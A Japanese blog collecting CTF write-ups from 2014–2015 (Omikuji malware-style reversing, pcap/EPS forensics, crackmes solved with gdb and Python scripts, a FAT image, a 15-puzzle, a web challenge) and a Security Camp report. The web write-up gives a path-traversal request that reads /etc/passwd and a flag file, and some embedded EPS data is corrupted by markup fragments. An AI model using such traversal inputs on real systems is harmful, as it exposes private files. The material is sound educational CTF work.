2015年3月30日月曜日

TDU CTF 2014 Satellite in ConoHa

会場でのwriteupは何言っているかわからなかったと思うので、どのような手順で解いたか簡単に書きます。


問題タイトル、問題文は忘れましたが、Omikuji.exeの問題です。



問題ファイル
Omikuji.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows


実行時の挙動
1、おみくじが表示される
2、よくわからないメッセージが表示される



まずはidaに入れて、stringsを見ていく


実行したときに表示された kichi や Flag? I've never heard of that, sorry. や10.0.2.128というipアドレスのようなものがあった

それよりも気になるのがハッシュ値
e0e0f178bfe6b23724ea9659ee4d4099
9412f3f4540eed2b5777cd978442dffb

これがflagだろうと想いそのあたりを見てみる


なんか TEMPを引数にして_getenvを呼んでいる。  さらに下を見るとfopenとかやっていたので、
TEMPに何かファイルを作っているのでは?と思った。

実行する前にTEMPフォルダを空にしておき、実行してみるとcsrss.exeというファイルを作っていた
とりだしてidaに入れてstringsを見る

今度は先ほどとは違うハッシュ値 8eaef68c63f7f0d3e4fa99b76c64ec96 があったのでそこの周辺を見る

ちょっと下のほうに


通信系のことをしていて、htonsの引数の328Bhがポート番号なので 1つ目のファイルにあったIPとこのポート番号で接続した
ipアドレス 10.0.2.128
port番号 12939

入力待ちになっていたので、8eaef68c63f7f0d3e4fa99b76c64ec96 このハッシュ値を送ったらflagが返ってきた

$nc 10.0.2.128 12939
8eaef68c63f7f0d3e4fa99b76c64ec96

TDU{MALWARE_SANKAKUWARE_SIKAKUWARE}


以上 こんな感じでした。


運営の皆様ありがとうございました。


2014年10月13日月曜日

ASIS CTF Finals 2014 Writeup / forensic 125

Capsule
Forensics 125


$file capsule_239acad5fcfe4722e624da66c9c02542
 capsule_239acad5fcfe4722e624da66c9c02542: XZ compressed data

解凍し中身を見るとヘッダーが”0A 0D 0D 0A”なので pcap-ng capture file でした。
キャプチャーファイルということでバイナリエディタで開く。


epsファイルがあったので取り出す。

%!PS-Adobe-3.0 EPSF-3.0
%%Creator: potrace 1.11, written by Peter Selinger 2001-2013
%%LanguageLevel: 2
%%BoundingBox: 0 0 150 150
%%HiResBoundingBox: 0 0 150.000000 150.000000
%%Pages: 1
%%EndComments
%%Page: 1 1
currentfile /ASCII85Decode filter /LZWDecode filter cvx exec
J/lc\@jia36p6os-K?5!aCR.L@HM5X8G7'_Rgk/$,T)ho0q6GnR,f*WHT4QlU@Ws&Afqrs$
:4h$OrH%kbbgS4!L3(`1eQ&KZQ[iV+;tM3o.t+1fh)fNBp@jbL5ABuL^n&r&:iPI1X[d01S
B860V)?A'!l\#[^[5S,F`,RiEdUm)'!9V6VQfVh2!Oi"^FZD_
tLA>-$.69@Rbe1QK9<"`#a$o//G)K+5W9[0^m>S-jHd/-M)BID+V54`#`VuqKLP9['qWD$'
/X,2$/cg;W3Mg1%p8#C^Ld8VfM9sP5MSn3`]Srgl`pUP!EmFqLOE+A`%rg#6Su#pnp9V-PP
N\qt$S+QMVJh\'&2Rg0hW544dT/3C.lc%DM(6)sikZcP.%=S.[aK6ZN6NWTRNTY!Q&p=
@@GT[#P+02VZ%9f@6RO%5CuU:.88?_0Tu(gf-R,r
>g9mWeL_r+FP0P5u+bF[/L2/pl)RuKc(mm5Si+/2+PgF,M4<_zk6in50 data-blogger-escaped-e9e="" data-blogger-escaped-h="" data-blogger-escaped-k="[c513#!8Y/SJU`dEQ?9G?tu.AD]8H]cDM%<7#9%]HOu7:g%31&/lo2/VF:-J" data-blogger-escaped-xtvndm4="">^f$V=!5T3qQCOKLnXmfrr:_lbH)DiUpEIM?/kB*QJn?lQ"#Ra
6fJ^f?]T\&")Vin'G(&Q4AJLh)n:\%8<(hi7]5
6ft21pFe=eQ8"ihEqTj/7)D9i;d!OjtGA'!JTo@FUe+M2p\_Sc#db8&]QsQK/?HRF+S`T.6)C53B;
aH`VGD6hReZ;MS"\$FJ4.#AT?ZPR`mX]m=a!e8q>MVCaa[*W%e?fpifl\aofr3h#Lg(3[Rg@3VOSWklnIL!^K>9@IqinO5i
I,7#MEQ!+1@P*U8M(KTHO4cGWPX2`r7UB87NE_]WppB@REV)5'h
_-(bM1a(%T/(YE\;1*S$9uZM%VK/E*6^Npm<]d>&kZO<)SRj>65_EZLhr$1GB^4+%K2tBM,
't2*P&qT]H&Cu'<%N"[(uIP+\@e2-iHr]If"U5m9AX/#.8iHo`[J;"T1F9+mLgT\QK2m^"-
df.D0IF`(o#L]6u?t)"@#8#/(J1E.8=qkTS$Gg+Cn_R`?o*-a))ojK:d5r)H3_NW+]-Dqus
B;83@^^n5\M'/F1F46$J'sVu.H6#U3nD5]%YP3p&SBX;X:e`=$1^Ro#,aR)]A/727>8V6+0
e1<46 data-blogger-escaped-fn8="[-Nr20RV(#NPPT=&?AZ;$3j0?p">DA3K*%D1"/rGU3FXp?)(3QH@s,F
="bO@?m[+CWbC/bD=mKt&*ghB12Q%!dhV34G@`9J&;Q=qn1nK^S6#:+";a:Am00
_KuU$t@#n(+]VEQk9^5e<4d69mi data-blogger-escaped-aidbr="" data-blogger-escaped-b7iq="" data-blogger-escaped-b="" data-blogger-escaped-d="" data-blogger-escaped-e="" data-blogger-escaped-f="" data-blogger-escaped-ftp="" data-blogger-escaped-gqku="" data-blogger-escaped-h="" data-blogger-escaped-ltcg="" data-blogger-escaped-nppcxpwp0="" data-blogger-escaped-q="" data-blogger-escaped-r-t="" data-blogger-escaped-ruv="" data-blogger-escaped-s="" data-blogger-escaped-se0.="" data-blogger-escaped-u="">?T"
[._dor+YI!G,@@4#b-PO%NT!dCWn')e2MGdf677S!MLb5=O=_(JZ8Ja(u[Kc3ff0W&t;H6G
nDX2_*`V#"WX7^RJZ8+m-kZ=0llYLegh81Yc:@,<43n data-blogger-escaped-b1="" data-blogger-escaped-j1bnb="" data-blogger-escaped-o="" data-blogger-escaped-p="">m?GYhj2Q-W&V@Ar'uHs+X]\l)ppTSBUn$6SQb#&Y3K&m.BU_#()YUpOH8u=)=!1@DZ
/A:J\$qbC8TAr-FPbQFN
AZ2:5%I)MX@?mNpB8Z*sqk6+KJqHK&H;Z)KH&X=V)\.%5@GL1dgE1P[]!26MD'X4>_;Gt,b
X%XE>@+#ZS$OBL+*[8=&`Ju^D4[P25`QWb\Sj"%T,uqF&,[kL\=i*Zumk2-7)R^#ZRG^@'@_3oT"D!02
U@+/lJUYJqXUZm2@j:Cmt^EG_LO)AsAm!eo3l^Lo7i38FjdI/7`>;f+3+e/S9oPG\ZX.3%!
#EY3IJ^LjdOdl=OQqk9s0P0XZnE;(#nCU[4GkS7)n*nBNE_92:,CStKafKgS3#-a(P-Pj@P
SG"edYn3gYOMJB(NKBPX&DsV-cU8nVhc:]oo/:dJ))"qY0N^qAB#h$19)GqhnF6j*\9VPpt
Z@biNXP&_qclR>`#X^8d(Pg9?j%%u`CEEWB0!W~>
%%EOF


しかしこれはflagではなかった。
ほかにもpngやjpegがあったがそれも違って バイナリエディタで眺めていると


何かよくわからないものがあったのでテキストで表示。

    _    ____ ___ ____     _____ _  ___   __       ___  _     _       ___      _     _ _  _    __        ___         ___      _           _  _  _____          _                 ___  _    ____   ___  
   / \  / ___|_ _/ ___|   |___ // |( _ ) / _| ___ / _ \| |__ / | ___ / _ \  __| | __| | || |  / _| __ _ / _ \  __ _ ( _ )  __| | ___ __ _| || ||___ /  ___  __| | __ _  ___ ___ ( _ )| |__|___ \ / _ \ 
  / _ \ \___ \| |\___ \     |_ \| |/ _ \| |_ / _ \ | | | '_ \| |/ __| | | |/ _` |/ _` | || |_| |_ / _` | | | |/ _` |/ _ \ / _` |/ __/ _` | || |_ |_ \ / _ \/ _` |/ _` |/ __/ _ \/ _ \| '_ \ __) | | | |
 / ___ \ ___) | | ___) |   ___) | | (_) |  _|  __/ |_| | |_) | | (__| |_| | (_| | (_| |__   _|  _| (_| | |_| | (_| | (_) | (_| | (_| (_| |__   _|__) |  __/ (_| | (_| | (_|  __/ (_) | |_) / __/| |_| |
/_/   \_\____/___|____/___|____/|_|\___/|_|  \___|\___/|_.__/|_|\___|\___/ \__,_|\__,_|  |_| |_|  \__,_|\___/ \__,_|\___/ \__,_|\___\__,_|  |_||____/ \___|\__,_|\__,_|\___\___|\___/|_.__/_____|\___/ 
                     |_____|           



ということで
ASIS_318fe0b1c0dd4fa0a8dca43edace8b20
これがフラグ



ちなみに このファイルWiresharkで読み込めなかったので
http://f00l.de/hacking/pcapfix.php
このサイトで修復してもらったりもしました。

2014年9月15日月曜日

No cON Name CTF Quals 2014 Writeup

cannaBINoid BIN 300

Get the key. The flag is: "NcN_" + sha1sum(key)

$ file cannabinoid
cannabinoid: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped


このプログラムを実行すると入力待ちになるのでとりあえず適当に入力

$./cannabinoid
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
$

すると終了する

idaで見る
.text:080483B0                 public start
.text:080483B0 start           proc near
.text:080483B0                 xor     ebp, ebp
.text:080483B2                 pop     esi
.text:080483B3                 mov     ecx, esp
.text:080483B5                 and     esp, 0FFFFFFF0h
.text:080483B8                 push    eax
.text:080483B9                 push    esp
.text:080483BA                 push    edx
.text:080483BB                 push    offset locret_8048680
.text:080483C0                 push    offset sub_8048610
.text:080483C5                 push    ecx
.text:080483C6                 push    esi
.text:080483C7                 push    offset loc_80484AB
.text:080483CC                 call    ___libc_start_main


text:080484AB loc_80484AB:                            ; DATA XREF: start+17 o
.text:080484AB                 lea     ecx, [esp+4]
.text:080484AF                 and     esp, 0FFFFFFF0h
.text:080484B2                 push    dword ptr [ecx-4]
.text:080484B5                 push    ebp
.text:080484B6                 mov     ebp, esp
.text:080484B8                 push    ebx
.text:080484B9                 push    ecx
.text:080484BA                 sub     esp, 0A0h
.text:080484C0                 mov     ebx, ecx
.text:080484C2                 mov     byte ptr [ebp-0A4h], 59h
.text:080484C9                 mov     byte ptr [ebp-0A3h], 6Fh
.text:080484D0                 mov     byte ptr [ebp-0A2h], 75h
.text:080484D7                 mov     byte ptr [ebp-0A1h], 20h
.text:080484DE                 mov     byte ptr [ebp-0A0h], 67h
.text:080484E5                 mov     byte ptr [ebp-9Fh], 6Fh
.text:080484EC                 mov     byte ptr [ebp-9Eh], 74h
.text:080484F3                 mov     byte ptr [ebp-9Dh], 20h
.text:080484FA                 mov     byte ptr [ebp-9Ch], 69h
.text:08048501                 mov     byte ptr [ebp-9Bh], 74h
.text:08048508                 mov     byte ptr [ebp-9Ah], 21h
.text:0804850F                 mov     byte ptr [ebp-99h], 0
.text:08048516                 cmp     dword ptr [ebx], 1     ←引数があるかみてる
.text:08048519                 jz      short loc_8048525
.text:0804851B                 mov     eax, 1
.text:08048520                 jmp     loc_80485FE         ←あったら終了



最初に You got it! という文字列を生成している
その後freadとかやり

.text:080485B3                 mov     edx, [ebp-10h]
.text:080485B6                 mov     eax, [ebp-18h]
.text:080485B9                 add     eax, edx
.text:080485BB                 movzx   edx, byte ptr [eax]
.text:080485BE                 lea     ecx, [ebp-98h]
.text:080485C4                 mov     eax, [ebp-10h]
.text:080485C7                 add     eax, ecx
.text:080485C9                 movzx   eax, byte ptr [eax]
.text:080485CC                 cmp     dl, al
.text:080485CE                 setz    al
.text:080485D1                 movzx   eax, al
.text:080485D4                 and     [ebp-0Ch], eax
.text:080485D7                 add     dword ptr [ebp-10h], 1
.text:080485DB
.text:080485DB loc_80485DB:                            ; CODE XREF: .text:080485B1 j
.text:080485DB                 cmp     dword ptr [ebp-10h], 7Fh
.text:080485DF                 jle     short loc_80485B3


cmp dl,al を比較しつつ 0x80回ループをまわしている
gdbで見るとalには自分が入力した文字が入っていたのでdlを見ていくことに



#!/usr/bin/gdb
#gdb -x script.py

import gdb

f=open('log','wb')
gdb.execute('file cannabinoid')

gdb.execute('b*0x80485cc')
gdb.execute('display/x $dl')
gdb.execute('r')
d = gdb.execute('p $dl',to_string=True).split('$1 = ')[1]
f.write(chr(int(d,16)))
for i in xrange(1,0x80):
        d=gdb.execute('c',to_string=True).split("1: /x $dl = ")[1]
        f.write(chr(int(d,16)))
gdb.execute('q')


とりあえずファイルに吐き出してみる。

$cat log | hexdump -C

00000000  7f 45 4c 46 01 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
00000010  02 00 03 00 01 00 00 00  b0 83 04 08 34 00 00 00  |............4...|
00000020  e8 09 00 00 00 00 00 00  34 00 20 00 08 00 28 00  |........4. ...(.|
00000030  1c 00 1b 00 06 00 00 00  34 00 00 00 34 80 04 08  |........4...4...|
00000040  34 80 04 08 00 01 00 00  00 01 00 00 05 00 00 00  |4...............|
00000050  04 00 00 00 03 00 00 00  34 01 00 00 34 81 04 08  |........4...4...|
00000060  34 81 04 08 13 00 00 00  13 00 00 00 04 00 00 00  |4...............|
00000070  01 00 00 00 01 00 00 00  00 00 00 00 00 80 04 08  |................|
00000080

$cat log | ./cannabinoid
You got it!

The flag is: "NcN_" + sha1sum(key)
後はこの形式に合わせて
$sha1sum log
effaf80a641b28a8d8a750b99ef740593bb3dcbd

flag is 
NcN_effaf80a641b28a8d8a750b99ef740593bb3dcbd



最初 0x7f 0x45 0x46 が出てきたときに elfの中にelfがあるのかと絶望していたがこれがkeyでよかった。




2014年8月17日日曜日

セキュリティキャンプ全国大会2014に行ってきました

自分はソフトウェアセキュリティで参加しました。


専門講義について書いていこうと思います。(それ以外の部分は他の方が書いてくれるはず



事前課題について

1、用語・キーワードについて詳しく調べレポートにまとめる
フォレンジックの課題で、BIOS/UEFIって何?など用語を詳しく調べるものでした。

2、プログラムを静的解析して、解析結果をまとめる
idbファイルが渡されIDAで解析を行うものでした。
実行ファイルがないので動的解析をすることができず、ひたすらアセンブラを読まないといけないものでした。

3、windowsのプログラムが用意され、それに対してexploitをする
バッファオーバーフローが発生するプログラムに対してexploitを行うもので、Win32用のshellcodeを1から書くものでした。

4、各種ツールを使い慣れる
バイナリ系
・IDA freeware version(x86逆アセンブラ)
 http://www.hex-rays.com/products/ida/support/download_freeware.shtml
・OllyDbg(Windows用デバッガ)
 http://www.ollydbg.de/
・Immunity Debugger(Windows用デバッガ)
 http://www.immunityinc.com/products-immdbg.shtml
・Stirling(バイナリエディタ)
 http://www.vector.co.jp/soft/dl/win95/util/se079072.html
・BZ(バイナリエディタ)
 http://www.vector.co.jp/soft/win95/util/se032859.html
・Sysinternals Suite(Windows用監視ツールなど)
 http://technet.microsoft.com/ja-jp/sysinternals/bb842062

フォレンジック系
・SANS SIFT(フォレンジック解析用のLinuxディストリビューション)
 http://digital-forensics.sans.org/community/downloads
・TimeLord(時刻情報のデコードを行うツール)
  http://computerforensics.parsonage.co.uk/timelord/timelord.htm
・pytsk(TSKの機能を拡張するPython binding)
  https://code.google.com/p/pytsk/

これらのツールに慣れろということでした。

事前課題をやらないと講義が辛くなるので必ずやりましょう。



講義について

講義は大きく分けて3つのことをしました。
1、マルウェア解析について
2、windowsのexploitについて
3、ディスクフォレンジック
4、インシデントレスポンス演習(グループワーク)

ものすごいレベルの高いところから講義が始まると思って心配していたが、基礎から始まり助かりました。
インシデントレスポンスでは1~3の講義で学んだことを全て使う演習でした。
講義の内容は省略で



感想

食事中や休憩時間に問題のアプローチどうやってやったー?など普段できない話をたくさんすることができてとても良かったです。みんなレベルが高く話を聞くのが面白かった。

CTFでは各クラスでやったことの復習問題という感じで理解が更に深まったのでとても良かったです。

最後に
運営の方・講師・チューターの方々、本当に楽しい5日間ありがとうございました。


2014年7月6日日曜日

Pwnium CTF 2014 Writeup

Programming 300 Crackme Fast




http://41.231.53.44:9393/に繋ぐとバイナリがダウンロードされる


LPCK?? なんだかよくわからなかったが下にMZがあったのでそこから下をすべて切り出す
実行するとパスワードが聞かれる
Password :
aa
Sorry ! Incorrect pass
IDAで開きstringsからSorry ! Incorrect passを探す


loc_40138Dのところで入力した文字とパスワードの比較をしているみたいだったので、
OllyDbgで見ることに

パスワードにaaaaaaaaを入れて実行
入力した文字とパスワードを比較しているところにブレイクポイントをうち値を確認

EAX 00000061 → a
ECX 0000006c → l

EAXに入力した文字が入り ECXにはパスワードが入るなのでECXの値を監視する

パスワードはlF{Oc0Mg

ファイルを実行し確認
Password :
lF{Oc0Mg
Good Boy ! Send That pass to server to get the Flag
ということで
http://41.231.53.44:9393/check.php?p=lF{Oc0Mg
アクセスするとToo late ! 遅いといわれる

問題文に
Send the password in less than 2 seconds

どうがんばっても人力だと5分くらいかかってしまうのでプログラムを書くことにした。

まずパスワードがどこに保存されているかバイナリをみて確認する

0x1310にそれっぽいものを発見。しかし正解のlF{Oc0Mgこの文字列とは違うということでIDAデ処理を確認すると 
パスワードの文字と1をxorしていた。
後はプログラムを書く


プログラムでやることまとめる
1、ファイルをダウンロード
2、ファイルから文字列を取得
3、1とxorする
4、パスワードを送り返す

#! c:/Python27/python.exe
# -*- coding: utf-8 -*-

import urllib2, cookielib

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

d=opener.open("http://41.231.53.44:9393/").read()[0x1310:0x1330].replace('\x00', '')
passwd=''.join(chr(ord(b)^0x1) for b in d)

print passwd
print opener.open("http://41.231.53.44:9393/check.php?p="+passwd).read()

Flag: Pwnium{b1a371c90da6a1d2deba2f6ebcfe3fc0}

2014年5月11日日曜日

ASIS CTF writeup /forensic 150



ファイルをダウンロードするとxzで圧縮されていたので解凍
中にはpcapファイルが入っていた

とりあえずバイナリエディタで中身を見るとpcapの中にpcapファイルが入っていた


 これを抜き出してWiresharkで開くと

The capture file appears to be damaged or corrupt.
(pcap: File has 356738353-byte packet, bigger than maximum of 65535)


うまく開かなかったので↓のサイトで修復してもらった
http://f00l.de/hacking/pcapfix.php

修復後のファイル

開けるようになったがバイナリエディタのほうが見やすかったのでバイナリエディタで見る

%FAKE-HEADER 

%%Creator: ASIS-CTF-QUALS 100 (QUALS2014)

%%LanguageLevel: 2

%%CreationDate: D:20140506141008+04'30'

%%For: (username)

%%Title: (geany job #8)

%RBINumCopies: 1

%%Pages: (atend)

%%BoundingBox: (atend)

%%EndComments

%%BeginProlog

currentfile /ASCII85Decode filter /LZWDecode filter cvx exec



こんなものがあったのでWiresharkのTCP Follow Streamで抜き出してRawで保存
何かPDFっぽい何かがあったのが何かわからなかったのでいろいろとぐぐる

currentfile /ASCII85Decode filter /LZWDecode filter cvx exec
これで検索すると

https://www.assembla.com/code/wysiwyg/subversion/nodes/1/image%20files/aperture.eps
こんなサイトが、epsファイルらしい?

PostScriptによって記述されたベクタ形式の画像データ

ということで %FAKE-HEADERを%!PS-Adobe-3.0 EPSF-3.0これに変えると


flag:ASIS_54ca36b2e3e49fc30e566c1de0589f38



2014年5月5日月曜日

tkbctf3 writeup/Forensics 350/Web 250/Misc 250

Is the order a FAT?

Forensics 350

Find the flag.
Hint!: Use the metadata, Alice!

zipを解凍するとunknown.imgというイメージが出てくる。


内容はFAT12ぽいもの

ビットイメージを見てると画像か?圧縮ファイルか?見たいな塊があった

37 37 BC AF 27 1C おお7zipがある抜き出して解凍してみよう→だめ。


よく見たら37 37 BC AF 27 1C 2バイト目が37に変わっているみたいで

37 7A BC AF 27 1C 7Aに直してあげたら解凍できた。

参考に
https://www.itwebsupport.com/blog/reverse-engineering-hexadecimal-magic-numbers


中にoKNeJ.gifという画像がありflagが書いてあった





Misc 250

15-puzzleThe four lines make one set of input.Zero denotes the missing tile.If the input puzzle is solvable then send the count of the shortest steps to solve the puzzle (i.e. if it's possible to solve the puzzle in 4 steps, send "4\n\n" to the socket. \n denotes a line break.)If the puzzle is not solvable then send "NO\n\n". 
IP: 203.178.132.117, Port:3939

4*4のパズルで最短の手数を答える問題。解けない場合はNOを返す

最初プログラムを書いてチャレンジしていたのですが、問題が出て答えを送るまでの時間がとても長かったので手動でやりました。

http://www.ic-net.or.jp/home/takaken/e/15pz/

このツールを使って問題が表示されたら 並び替えて実行 並び替えて実行。

# nc 203.178.132.117 3939

Welcome. We are the fafrotskies.

Your answers must be terminated by an empty line, don't forget!



===== 15-Puzzle =====

Solve 15-Puzzle!

The four lines make one set of input.

Zero denotes the missing tile.

If the input puzzle is solvable then print the number of the shortest steps to solve the puzzle.

If the puzzle is not solvable then print the line "NO".



Stage #1

Enjoy!

#1

1 2 3 4

5 6 7 8

13 9 15 11

0 10 14 12

7



Stage 1 cleared.

Stage #2

The 2nd stage!

#1

1 2 6 3

5 10 12 4

9 7 8 15

13 0 14 11

16



#2

1 6 2 3

9 7 12 4

10 14 5 8

13 0 11 15

16



Stage 2 cleared.

Stage #3

The 3rd stage!

#1

1 2 3 4

0 6 8 11

5 10 7 12

9 13 14 15

11



#2

1 2 3 4

5 6 11 7

9 10 8 0

13 14 15 12

5



#3

1 3 12 4

6 2 0 7

5 10 11 8

9 13 14 15

15



Stage 3 cleared.

Stage #4

The 4th stage!

#1

6 2 1 3

5 10 14 4

9 12 0 8

13 11 7 15

28



#2

1 2 7 3

5 6 8 12

13 4 11 15

14 9 10 0

26



#3

5 1 6 3

8 0 2 4

10 11 7 12

9 13 14 15

18



#4

1 2 4 7

6 13 3 8

5 15 0 11

10 9 14 12

20



Stage 4 cleared.

Stage #5

The LAST stage!

#1

2 5 3 4

6 7 10 8

13 1 9 12

0 14 11 15

17



#2

1 2 4 8

5 7 3 11

10 6 9 0

14 13 15 12

21



#3

1 3 2 4

0 9 10 8

7 6 14 11

5 13 15 12

27



#4

1 6 2 7

9 5 4 11

10 0 8 15

13 14 12 3

23



#5

1 11 2 4

6 3 0 15

5 9 14 7

13 10 12 8

21



Complete! Flag is FLAG{N0_R4M3N_N0_L1F3!!}



Web250

miocatThe Development Support System -- miocat-> http://miocat.tkbctf.info

アクセスすると入力フォームと送信ボタンがあった。

送信すると
targetとlocaleをGETで渡している
http://miocat.tkbctf.info/request?target=&locale=en-US

適当に入力していたらエラーがでた。
入力値:http:/""<script>alert(1)</script>
Could not find a part of the path "/home/miocat/http:/""<script>alert(1)</script>".
入力した値が/home/miocat/の下に入るみたいだったので
後は
http://miocat.tkbctf.info/request?target=http://../../../etc/passwd&locale=en-US
入力値:http://../../../etc/passwd 
出力:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
syslog:x:102:105::/home/syslog:/bin/false
miocat:x:1001:1001:Miocat,,,Read /home/miocat/flag:/home/miocat:/bin/bash
chris:x:1000:1000::/home/chris:/bin/bash

適当に
http://miocat.tkbctf.info/request?target=http://../../../home/miocat/flag&locale=en-US
入力値:http://../../../home/miocat/flag   
出力:
flag: ElizabethDoesntSayLazy

適当にやってたらflagが表示されました。
これ直接flagってうっても出てたのかな?